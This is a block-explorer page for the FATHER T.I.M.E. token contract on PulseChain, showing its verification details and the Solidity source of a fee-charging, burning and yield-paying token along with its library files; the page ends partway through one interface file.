false
true
0

Contract Address Details

0xFFf59b293298Afe1622019bd3CF84A2F8fB786cd

Token
FATHER T.I.M.E. (ƒ⏳)
Creator
0x3faecd–b7ad92 at 0xcb7ac6–e41b0b
Balance
0 PLS ( )
Tokens
Fetching tokens...
Transactions
70 Transactions
Transfers
0 Transfers
Gas Used
0
Last Balance Update
25920235
Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
Contract name:
YieldNonPLS2_v1




Optimization enabled
true
Compiler version
v0.8.26+commit.8a97fa7a




Optimization runs
1000000
EVM Version
shanghai




Verified at
2024-12-25T03:35:53.013725Z

Constructor Arguments

0x000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001400000000000000000000000000000000000000000000422ca8b0a00a425000000000000000000000000000000000000000000000000000a968163f0a57b400000000000000000000000000000165c3410fc91ef562c50559f7d2289febed552d9000000000000000000000000ca35638a3fddd02fec597d8c1681198c06b23f5800000000000000000000000000000000000000000000000000000000000000630000000000000000000000000000000000000000000000000000000000000063000000000000000000000000000000000000000000000000000000000000000f46415448455220542e492e4d2e452e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005c692e28fb3000000000000000000000000000000000000000000000000000000

Arg [0] (string) : FATHER T.I.M.E.
Arg [1] (string) : ƒ⏳
Arg [2] (uint256) : 5000000000000000000000000
Arg [3] (uint256) : 50000000000000000000000
Arg [4] (address) : 0x165c3410fc91ef562c50559f7d2289febed552d9
Arg [5] (address) : 0xca35638a3fddd02fec597d8c1681198c06b23f58
Arg [6] (uint16[2]) : cc

              

contracts/YieldNonPLS2_v1.sol

/*
 * @author Ra Murd <ramurd@pulselorian.com>
 * @notice https://pulselorian.com/
 * @notice https://t.me/ThePulselorian
 * @notice https://twitter.com/ThePulseLorian
 *
 * Deflationary, burns portion of the fees, and yields the remaining as reward tokens
 *
 *    (   (  (  (     (   (( (   .  (   (    (( (   ((
 *    )\  )\ )\ )\    )\ (\())\   . )\  )\   ))\)\  ))\
 *   ((_)((_)(_)(_)  ((_))(_)(_)   ((_)((_)(((_)_()((_)))
 *   | _ \ | | | |  / __| __| |   / _ \| _ \_ _|   \ \| |
 *   |  _/ |_| | |__\__ \ _|| |__| (_) |   /| || - | .  |
 *   |_|  \___/|____|___/___|____|\___/|_|_\___|_|_|_|\_|
 *
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

import "./@openzeppelin/access/Ownable.sol";
import "./@openzeppelin/token/ERC20/utils/SafeERC20.sol";
import "./@uniswap/v2-core/interfaces/IUniswapV2Factory.sol";
import "./@uniswap/v2-core/interfaces/IUniswapV2Pair.sol";
import "./@uniswap/v2-periphery/interfaces/IUniswapV2Router02.sol";
import "./lib/Airdroppable.sol";
import "./lib/DSMath.sol";
import "./lib/ERC20.sol";
import "./lib/Utils.sol";

contract YieldNonPLS2_v1 is Airdroppable, DSMath, ERC20, Ownable, Utils {
    using SafeERC20 for IERC20;

    enum Fees {
        BurnFee,
        YieldFee
    }

    struct WalletInfo {
        uint256 share;
        uint256 yieldDebt;
        uint256 yieldPaid;
    }

    IERC20 public immutable rwdInst;

    IUniswapV2Pair public plsV2LP;
    IUniswapV2Pair[] public lps;

    IUniswapV2Router02 public dexRouter;
    IUniswapV2Router02 public constant TKN_ROUTER =
        IUniswapV2Router02(0x165C3410fC91EF562C50559f7d2289fEbed552d9);

    address internal constant _TKN1_ADDR =
        0xB4B51aE5c720aB73a3126873268a7d60a6C0785C; // Wealth mainnet
    address internal constant _TKN2_ADDR =
        0x1DcbF345bC44696BbBed402367f7C62e524Fe8B5; // pBSKR mainnet
    address public constant WPLS_ADDR =
        0xA1077a294dDE1B09bB078844df40758a5D0f9a27;

    address[] public wallets;

    bool private _swapping;
    bool public payoutEnabled = true;
    bool public swapEnabled = true;

    mapping(IUniswapV2Pair => uint24) public lpBips;
    mapping(address => WalletInfo) public walletInfo;
    mapping(address => bool) public isMyLP;
    mapping(address => bool) public noFee;
    mapping(address => bool) public noYield;
    mapping(address => uint256) public walletClaimTS;
    mapping(address => uint256) public walletIndex;

    uint16 private constant _BIPS = 10000;
    uint16[] public fees = new uint16[](uint256(type(Fees).max) + 1);

    uint24 public lpFactor = 2000; // 0.05% ==> 1:100%, 10:10%, 100:1%
    uint24 public maxGas = 300000;
    uint24 public minWaitSec = 3600;

    uint32 public currIndex;

    uint96 private constant _YIELDX = 1e27;
    uint96 public minYield = 1e16;

    uint256 private _feeDues;
    uint256 public shareYieldRay;
    uint256 public totalPaid;
    uint256 public totalShares;
    uint256 public totalYield;

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 devAirDrop_,
        address dexRouter_,
        address rwdAddr_,
        uint16[2] memory fees_
    ) ERC20(name_, symbol_) {
        rwdInst = IERC20(rwdAddr_);
        dexRouter = IUniswapV2Router02(dexRouter_);
        address plsLPAddr = IUniswapV2Factory(dexRouter.factory()).createPair(
            address(this),
            WPLS_ADDR
        );

        plsV2LP = IUniswapV2Pair(plsLPAddr);
        lps.push(plsV2LP);
        lpBips[plsV2LP] = 20000; // 2x

        fees[uint256(Fees.BurnFee)] = fees_[uint256(Fees.BurnFee)];
        fees[uint256(Fees.YieldFee)] = fees_[uint256(Fees.YieldFee)];

        noFee[address(this)] = true;
        noFee[dexRouter_] = true;

        noYield[address(0)] = true;
        noYield[address(0x369)] = true;
        noYield[address(this)] = true;
        noYield[plsLPAddr] = true;
        isMyLP[plsLPAddr] = true;

        _mint(tx.origin, totalSupply_);
        if (devAirDrop_ > 0) {
            super._transfer(tx.origin, _devAddr1, devAirDrop_ / 2);
            _setShare(_devAddr1, devAirDrop_ / 2);
            super._transfer(tx.origin, _devAddr2, devAirDrop_ / 2);
            _setShare(_devAddr2, devAirDrop_ / 2);
            _setShare(tx.origin, totalSupply_ - devAirDrop_);
        }
        _grantRole(ADMIN_ROLE, tx.origin);
        _transferOwnership(tx.origin);
    }

    function _buyTkn(uint256 tknAmt_) private {
        if (tknAmt_ == 0) return;
        address[] memory path1 = new address[](2);
        path1[0] = address(rwdInst);
        path1[1] = WPLS_ADDR;
        rwdInst.approve(address(dexRouter), tknAmt_);
        uint256 balBefore = address(this).balance;
        try
            dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tknAmt_,
                0,
                path1,
                address(this),
                block.timestamp
            )
        {} catch {}

        uint256 newPLSBal;
        uint256 balAfter = address(this).balance;
        if (balAfter > balBefore) {
            newPLSBal = balAfter - balBefore;
        }

        if (newPLSBal > 0) {
            address[] memory path2 = new address[](2);
            path2[0] = WPLS_ADDR;
            path2[1] = (block.number % 2 == 0) ? _TKN1_ADDR : _TKN2_ADDR;
            try
                TKN_ROUTER.swapExactETHForTokensSupportingFeeOnTransferTokens{
                    value: newPLSBal
                }(0, path2, address(0x369), block.timestamp)
            {} catch {}
        }
    }

    function _calcFees(
        uint256 amt_,
        bool isFromLP_,
        bool isToLP_
    ) private view returns (uint256 totalFee) {
        if (isToLP_ || isFromLP_) {
            totalFee =
                (amt_ *
                    (fees[uint256(Fees.BurnFee)] +
                        fees[uint256(Fees.YieldFee)])) /
                _BIPS;
        }

        return (totalFee);
    }

    function _calcShares(
        address target_
    ) private view returns (uint256 shares) {
        uint256 lpShares;
        uint256 lpCount = lps.length;
        for (uint256 index = 0; index < lpCount; index++) {
            lpShares += ((lps[index].balanceOf(target_) * lpBips[lps[index]]) /
                _BIPS);
        }
        return balanceOf(target_) + lpShares;
    }

    function _checkIfMyLP(address target_) private returns (bool) {
        if (target_.code.length == 0) return false;
        if (!isMyLP[target_]) {
            (address token0, address token1) = Utils._getTokens(target_);
            if (token0 == address(this) || token1 == address(this)) {
                isMyLP[target_] = true;
                noYield[target_] = true;
            }
        }
        return isMyLP[target_];
    }

    function _disableYield(address wallet_) private {
        uint256 index = walletIndex[wallet_];
        uint256 walletCount = wallets.length;

        if (index < walletCount - 1) {
            address lastWallet = wallets[walletCount - 1];
            wallets[index] = lastWallet;
            walletIndex[lastWallet] = index;
        }

        wallets.pop();
        delete walletIndex[wallet_];
    }

    function _enableYield(address wallet_) private {
        uint256 index = wallets.length;
        walletIndex[wallet_] = index;
        wallets.push(wallet_);
    }

    function _getCummYield(uint256 share_) private view returns (uint256) {
        return (share_ * shareYieldRay) / _YIELDX;
    }

    function _getSwapSize(
        uint256 amt_
    ) private view returns (uint112 swapSize) {
        swapSize = uint112(balanceOf(address(plsV2LP)) / lpFactor);
        if (swapSize > amt_) {
            swapSize = uint112(amt_);
        }
        return swapSize;
    }

    function _isPayEligible(address wallet_) private view returns (bool) {
        return
            (walletClaimTS[wallet_] + minWaitSec) < block.timestamp &&
            getUnpaidYield(wallet_) > minYield;
    }

    function _payout(uint256 gas_) private {
        uint256 walletCount = wallets.length;

        if (walletCount == 0) {
            return;
        }

        uint256 gasUsed = 0;
        uint256 gasLeft = gasleft();
        uint256 iterations = 0;

        while (gasUsed < gas_ && iterations < walletCount) {
            if (currIndex >= walletCount) {
                currIndex = 0;
            }
            address wallet = wallets[currIndex];
            if (!noYield[wallet]) {
                bool paidYield = _setShare(wallet, _calcShares(wallet));

                if (!paidYield && _isPayEligible(wallet)) {
                    _payYield(wallet, true);
                }
            }
            currIndex++;
            iterations++;
            gasUsed = gasUsed + (gasLeft - gasleft());
            gasLeft = gasleft();
        }
    }

    function _payYield(address wallet_, bool flag_) private {
        WalletInfo storage walletI = walletInfo[wallet_];
        uint256 share = walletI.share;

        if (share == 0) {
            return;
        }

        uint256 amt = getUnpaidYield(wallet_);

        if (amt > 0) {
            if (flag_) {
                rwdInst.safeTransfer(wallet_, amt);
                walletI.yieldPaid += amt;
            } else {
                _feeDues += amt;
            }
            totalPaid = totalPaid + amt;
            walletClaimTS[wallet_] = block.timestamp;
            walletI.yieldDebt = _getCummYield(share);
        }
    }

    function _performAirdrop(address to_, uint256 wei_) internal override {
        super._transfer(_msgSender(), to_, wei_);
        if (!noYield[to_]) {
            _setShare(to_, _calcShares(to_));
        }
    }

    function _postAllAirdrops(address from_) internal override {
        if (!noYield[from_]) {
            _setShare(from_, _calcShares(_msgSender()));
        }
    }

    function _setShare(
        address wallet_,
        uint256 share_
    ) private returns (bool paidYield) {
        WalletInfo storage walletI = walletInfo[wallet_];
        uint256 shareOld = walletI.share;

        if (share_ != shareOld) {
            if (shareOld > 0) {
                _payYield(wallet_, (share_ > 0));
                paidYield = true;
            }

            if (share_ == 0) {
                _disableYield(wallet_);
            } else if (shareOld == 0) {
                _enableYield(wallet_);
            }

            totalShares = totalShares - shareOld + share_;
            walletI.share = share_;
            walletI.yieldDebt = _getCummYield(share_);
        }

        return paidYield;
    }

    function _swapTokens(uint256 tknAmt_) private {
        if (tknAmt_ == 0) return;
        address[] memory path = new address[](3);
        path[0] = address(this);
        path[1] = WPLS_ADDR;
        path[2] = address(rwdInst);

        uint256 balBefore = rwdInst.balanceOf(address(this));

        _approve(address(this), address(dexRouter), tknAmt_);

        try
            dexRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                tknAmt_,
                0,
                path,
                address(this),
                block.timestamp
            )
        {} catch {}

        uint256 balAfter = rwdInst.balanceOf(address(this));

        if (balAfter > balBefore) {
            _swapTokensPost(balAfter - balBefore);
        }
    }

    function _swapTokensPost(uint256 bal_) private returns (uint256 newBal) {
        if (bal_ > 0) {
            newBal = bal_;
            uint256 devToll = (bal_ * 4) / 100;
            rwdInst.safeTransfer(_devAddr1, devToll);
            rwdInst.safeTransfer(_devAddr2, devToll);
            rwdInst.safeTransfer(_facAddr, _feeDues);
            newBal -= (devToll * 2);
            _feeDues = 0;
            uint256 tknToll = (bal_ * 5) / 100;
            _buyTkn(tknToll);
            newBal -= tknToll;

            uint256 burnAmt = (fees[uint256(Fees.BurnFee)] * newBal) /
                (fees[uint256(Fees.BurnFee)] + fees[uint256(Fees.YieldFee)]);
            rwdInst.safeTransfer(address(0x369), burnAmt);
            newBal -= burnAmt;

            totalYield = totalYield + newBal;
            shareYieldRay = shareYieldRay + (_YIELDX * newBal) / totalShares;
        }
    }

    function _transfer(
        address from_,
        address to_,
        uint256 amt_
    ) internal override(ERC20) {
        bool isFromLP = _checkIfMyLP(from_);
        bool isToLP = _checkIfMyLP(to_);
        uint256 yieldBal = balanceOf(address(this));
        uint256 swapAmt = _getSwapSize(amt_);
        // Sell transaction when _swap is enabled and _swapping is not in progress
        if (
            swapEnabled &&
            (yieldBal >= swapAmt) &&
            !_swapping &&
            to_ == address(plsV2LP)
        ) {
            _swapping = true;
            _swapTokens(swapAmt);
            _swapping = false;
        }
        if (!noFee[from_] && !noFee[to_]) {
            uint256 totalFee = _calcFees(amt_, isFromLP, isToLP);

            if (totalFee > 0) {
                amt_ -= totalFee;
                uint256 devFee = (totalFee * 4) / 100;
                super._transfer(from_, _facAddr, devFee);
                totalFee -= devFee;
                super._transfer(from_, address(this), totalFee);
            }
        }
        super._transfer(from_, to_, amt_);
        if (payoutEnabled && !_swapping) {
            _payout(maxGas);
        }
        if (!noYield[from_]) {
            _setShare(from_, _calcShares(from_));
        }
        if (!noYield[to_]) {
            _setShare(to_, _calcShares(to_));
        }
    }

    /// @notice Claim unpaid yield
    function claimYield() external {
        _payYield(_msgSender(), true);
    }

    /// @notice Retrieves unpaid yield
    /// @param wallet_ target address
    /// @return - unpaid yield for the given address
    function getUnpaidYield(address wallet_) public view returns (uint256) {
        WalletInfo storage walletI = walletInfo[wallet_];
        uint256 share = walletI.share;

        if (share == 0) {
            return 0;
        }

        uint256 cummYield = _getCummYield(share);
        uint256 walletYieldDebt = walletI.yieldDebt;

        if (cummYield <= walletYieldDebt) {
            return 0;
        }

        return cummYield - walletYieldDebt;
    }

    /// @notice Set the fees in basis points
    /// @param burnFee_ Burn fee
    /// @param yieldFee_ Yield fee
    function setFees(
        uint16 burnFee_,
        uint16 yieldFee_
    ) external onlyRole(ADMIN_ROLE) {
        require(burnFee_ <= 500 && yieldFee_ <= 500);

        fees[uint256(Fees.BurnFee)] = burnFee_;
        fees[uint256(Fees.YieldFee)] = yieldFee_;
    }

    /// @notice Set the LP yield basis points
    /// @param lpPair_ lp address
    /// @param newLPYieldBips_ Basis points (10000 -> 100%)
    function setLPYieldBips(
        IUniswapV2Pair lpPair_,
        uint24 newLPYieldBips_
    ) external onlyRole(ADMIN_ROLE) {
        require(newLPYieldBips_ < 50000);

        if (newLPYieldBips_ == 0) {
            uint256 length = lps.length;
            for (uint256 lpi = 0; lpi < length; lpi++) {
                if (address(lps[lpi]) == address(lpPair_)) {
                    if (lpi < length - 1) {
                        lps[lpi] = lps[length - 1];
                        lps.pop();
                    } else {
                        lps.pop();
                    }
                }
            }
            lpBips[lpPair_] = 0;
        } else {
            uint256 length = lps.length;
            bool found = false;
            for (uint256 lpi = 0; lpi < length; lpi++) {
                if (address(lps[lpi]) == address(lpPair_)) {
                    found = true;
                }
            }

            if (!found) {
                lps.push(lpPair_);
            }
            lpBips[lpPair_] = newLPYieldBips_;
        }
    }

    /// @notice Enable/disable yield for addresses
    /// @dev For e.g. contracts may not be eligible
    /// @param wallet_ Target address
    /// @param flag_ Enable/disable flag
    function setNoYield(
        address wallet_,
        bool flag_
    ) external onlyRole(ADMIN_ROLE) {
        noYield[wallet_] = flag_;
        if (flag_) {
            _setShare(wallet_, 0);
        } else {
            _setShare(wallet_, _calcShares(wallet_));
        }
    }

    /// @notice Sets the payout policy for distribution of yield
    /// @param enabled_ Enable/disable flag
    /// @param minDurSec_ Duration between 2 payouts for a wallet
    /// @param minYield_ Minimum yield balance for payout
    /// @param gas_ Gas in gwei
    function setPayoutPolicy(
        bool enabled_,
        uint24 minDurSec_,
        uint80 minYield_,
        uint24 gas_
    ) external onlyRole(ADMIN_ROLE) {
        payoutEnabled = enabled_;
        minWaitSec = minDurSec_;
        minYield = minYield_;
        maxGas = gas_;
    }

    /// @notice Sets the swap parameters
    /// @param swapEnabled_ Enable/disable swaps for conversion
    /// @param lpFactor_ New factor value 2000 = 0.05% 1000 = 0.1%
    function setSwapParams(
        bool swapEnabled_,
        uint24 lpFactor_
    ) external onlyRole(ADMIN_ROLE) {
        swapEnabled = swapEnabled_;
        if (swapEnabled_) {
            require(lpFactor_ >= 50 && lpFactor_ <= 200000);
            lpFactor = lpFactor_;
        }
    }
}
        

contracts/@openzeppelin/access/Ownable.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

import "../utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender());
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0));
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
          

contracts/@uniswap/v2-periphery/interfaces/IUniswapV2Router02.sol

/*
 * SPDX-License-Identifier: MIT
 */

pragma solidity >=0.6.2;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
          

contracts/@openzeppelin/token/ERC20/IERC20.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
          

contracts/NoYieldFee_PLS_LP_v2.sol

/*
 * @author Ra Murd <ramurd@pulselorian.com>
 * @notice https://pulselorian.com/
 * @notice https://t.me/ThePulselorian
 * @notice https://twitter.com/ThePulseLorian
 *
 *    (   (  (  (     (   (( (   .  (   (    (( (   ((
 *    )\  )\ )\ )\    )\ (\())\   . )\  )\   ))\)\  ))\
 *   ((_)((_)(_)(_)  ((_))(_)(_)   ((_)((_)(((_)_()((_)))
 *   | _ \ | | | |  / __| __| |   / _ \| _ \_ _|   \ \| |
 *   |  _/ |_| | |__\__ \ _|| |__| (_) |   /| || - | .  |
 *   |_|  \___/|____|___/___|____|\___/|_|_\___|_|_|_|\_|
 *
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

import "./@openzeppelin/access/Ownable.sol";
import "./@uniswap/v2-core/interfaces/IUniswapV2Factory.sol";
import "./@uniswap/v2-core/interfaces/IUniswapV2Pair.sol";
import "./@uniswap/v2-periphery/interfaces/IUniswapV2Router02.sol";
import "./lib/Airdroppable.sol";
import "./lib/ERC20.sol";
import "./lib/Utils.sol";

contract NoYieldFee_PLS_LP_v2 is Airdroppable, ERC20, Ownable, Utils {
    enum Fees {
        BuyBurnFee,
        BuyFee,
        SellBurnFee,
        SellFee
    }

    IUniswapV2Pair public plsV2LP;

    IUniswapV2Router02 public dexRouter;
    IUniswapV2Router02 public plsxRouter;

    address internal constant _TKN1_ADDR =
        0xB4B51aE5c720aB73a3126873268a7d60a6C0785C; // Wealth mainnet
    address internal constant _TKN2_ADDR =
        0x1DcbF345bC44696BbBed402367f7C62e524Fe8B5; // pBSKR mainnet
    address public constant WPLS_ADDR =
        0xA1077a294dDE1B09bB078844df40758a5D0f9a27;

    address public feeAddr;

    bool private _swapping;
    bool public swapEnabled = true;

    mapping(address => bool) public isMyLP;
    mapping(address => bool) public noFee;

    uint16 private constant _BIPS = 10000;
    uint16[] public fees = new uint16[](uint256(type(Fees).max) + 1);

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 devAirDrop_,
        address dexRouter_,
        uint16[4] memory fees_
    ) ERC20(name_, symbol_) {
        plsxRouter = IUniswapV2Router02(
            0x636f6407B90661b73b1C0F7e24F4C79f624d0738
        );
        dexRouter = IUniswapV2Router02(dexRouter_);
        address plsLPAddr = IUniswapV2Factory(dexRouter.factory()).createPair(
            address(this),
            WPLS_ADDR
        );

        plsV2LP = IUniswapV2Pair(plsLPAddr);

        fees[uint256(Fees.BuyBurnFee)] = fees_[uint256(Fees.BuyBurnFee)];
        fees[uint256(Fees.BuyFee)] = fees_[uint256(Fees.BuyFee)];
        fees[uint256(Fees.SellBurnFee)] = fees_[uint256(Fees.SellBurnFee)];
        fees[uint256(Fees.SellFee)] = fees_[uint256(Fees.SellFee)];

        noFee[address(this)] = true;
        noFee[dexRouter_] = true;
        noFee[address(plsxRouter)] = true;

        isMyLP[plsLPAddr] = true;

        _mint(tx.origin, totalSupply_);
        _grantRole(ADMIN_ROLE, tx.origin);
        _transferOwnership(tx.origin);
        feeAddr = tx.origin;

        if (devAirDrop_ > 0) {
            super._transfer(tx.origin, _devAddr1, devAirDrop_ / 2);
            super._transfer(tx.origin, _devAddr2, devAirDrop_ / 2);
        }
    }

    function _buyTkn(uint256 tknAmt_) private {
        if (tknAmt_ == 0) return;
        address[] memory path = new address[](2);
        path[0] = WPLS_ADDR;
        path[1] = (block.number % 2 == 0) ? _TKN1_ADDR : _TKN2_ADDR;

        try
            plsxRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{
                value: tknAmt_
            }(0, path, address(0x369), block.timestamp)
        {} catch {}
    }

    function _calcFees(
        uint256 amt_,
        bool isFromLP_,
        bool isToLP_
    ) private view returns (uint256 burnFee, uint256 fee, uint256 yieldFee) {
        if (isToLP_) {
            // Selling
            burnFee = (amt_ * fees[uint256(Fees.SellBurnFee)]) / _BIPS;
            fee = (amt_ * fees[uint256(Fees.SellFee)]) / _BIPS;
            yieldFee = (amt_ * 20) / _BIPS;
        } else if (isFromLP_) {
            // Buying
            burnFee = (amt_ * fees[uint256(Fees.BuyBurnFee)]) / _BIPS;
            fee = (amt_ * fees[uint256(Fees.BuyFee)]) / _BIPS;
            yieldFee = (amt_ * 20) / _BIPS;
        }

        return (burnFee, fee, yieldFee);
    }

    function _checkIfMyLP(address target_) private returns (bool) {
        if (target_.code.length == 0) return false;
        if (!isMyLP[target_]) {
            (address token0, address token1) = Utils._getTokens(target_);
            if (token0 == address(this) || token1 == address(this)) {
                isMyLP[target_] = true;
            }
        }
        return isMyLP[target_];
    }

    function _getSwapSize(
        uint256 amt_
    ) private view returns (uint112 swapSize) {
        swapSize = uint112(balanceOf(address(plsV2LP)) / 2000);
        if (swapSize > amt_) {
            swapSize = uint112(amt_);
        }
        return swapSize;
    }

    function _performAirdrop(address to_, uint256 wei_) internal override {
        super._transfer(_msgSender(), to_, wei_);
    }

    function _postAllAirdrops(address from_) internal override {}

    function _send(
        address to_,
        uint256 val_,
        uint256 bal_
    ) private returns (uint256 newBal_) {
        (bool sent, ) = to_.call{value: val_}("");
        if (sent) {
            newBal_ = bal_ - val_;
        } else {
            newBal_ = bal_;
        }
    }

    function _swapTokens(uint256 tknAmt_) private {
        if (tknAmt_ == 0) return;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WPLS_ADDR;

        uint256 balBefore = address(this).balance;

        _approve(address(this), address(dexRouter), tknAmt_);

        try
            dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tknAmt_,
                0,
                path,
                address(this),
                block.timestamp
            )
        {} catch {}

        uint256 balAfter = address(this).balance;

        if (balAfter > balBefore) {
            _swapTokensPost(balAfter - balBefore);
        }
    }

    function _swapTokensPost(uint256 bal_) private {
        if (bal_ > 0) {
            uint256 toll = bal_ / 4;
            _send(_devAddr1, toll, bal_);
            _send(_devAddr2, toll, bal_);
            _send(_facAddr, toll, bal_);

            _buyTkn(bal_);
        }
    }

    function _transfer(
        address from_,
        address to_,
        uint256 amt_
    ) internal override(ERC20) {
        bool isFromLP = _checkIfMyLP(from_);
        bool isToLP = _checkIfMyLP(to_);

        uint256 yieldBal = balanceOf(address(this));
        uint256 swapAmt = _getSwapSize(amt_);

        // Sell transaction when _swap is enabled and _swapping is not in progress
        if (
            swapEnabled &&
            (yieldBal >= swapAmt) &&
            !_swapping &&
            to_ == address(plsV2LP)
        ) {
            _swapping = true;
            _swapTokens(swapAmt);
            _swapping = false;
        }

        if (!noFee[from_] && !noFee[to_]) {
            (uint256 burnFee, uint256 fee, uint256 yieldFee) = _calcFees(
                amt_,
                isFromLP,
                isToLP
            );

            if (burnFee > 0) {
                amt_ -= burnFee;
                super._transfer(from_, address(0x369), burnFee);
            }

            if (fee > 0) {
                amt_ -= fee;
                uint256 devFee = (fee * 5) / 100;
                super._transfer(from_, _devAddr1, devFee);
                super._transfer(from_, _devAddr2, devFee);

                fee -= devFee * 2;
                super._transfer(from_, feeAddr, fee);
            }

            if (yieldFee > 0) {
                amt_ -= yieldFee;
                super._transfer(from_, address(this), yieldFee);
            }
        }
        super._transfer(from_, to_, amt_);
    }

    /// @notice Set the fees in basis points
    /// @param buyBurnFee_ Burn fee on Buy
    /// @param buyFee_ Fee on Buy
    /// @param sellBurnFee_ Burn fee on Sell
    /// @param sellFee_ Fee on Sell
    function setFees(
        uint16 buyBurnFee_,
        uint16 buyFee_,
        uint16 sellBurnFee_,
        uint16 sellFee_
    ) external onlyRole(ADMIN_ROLE) {
        require(
            buyBurnFee_ <= 500 &&
                buyFee_ <= 500 &&
                sellBurnFee_ <= 500 &&
                sellFee_ <= 500
        );

        fees[uint256(Fees.BuyBurnFee)] = buyBurnFee_;
        fees[uint256(Fees.BuyFee)] = buyFee_;
        fees[uint256(Fees.SellBurnFee)] = sellBurnFee_;
        fees[uint256(Fees.SellFee)] = sellFee_;
    }

    function setFeeAddr(address feeAddr_) external onlyRole(ADMIN_ROLE) {
        if (feeAddr_ != address(0)) {
            feeAddr = feeAddr_;
        }
    }
}
          

contracts/@uniswap/v2-core/interfaces/IUniswapV2Pair.sol

/*
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
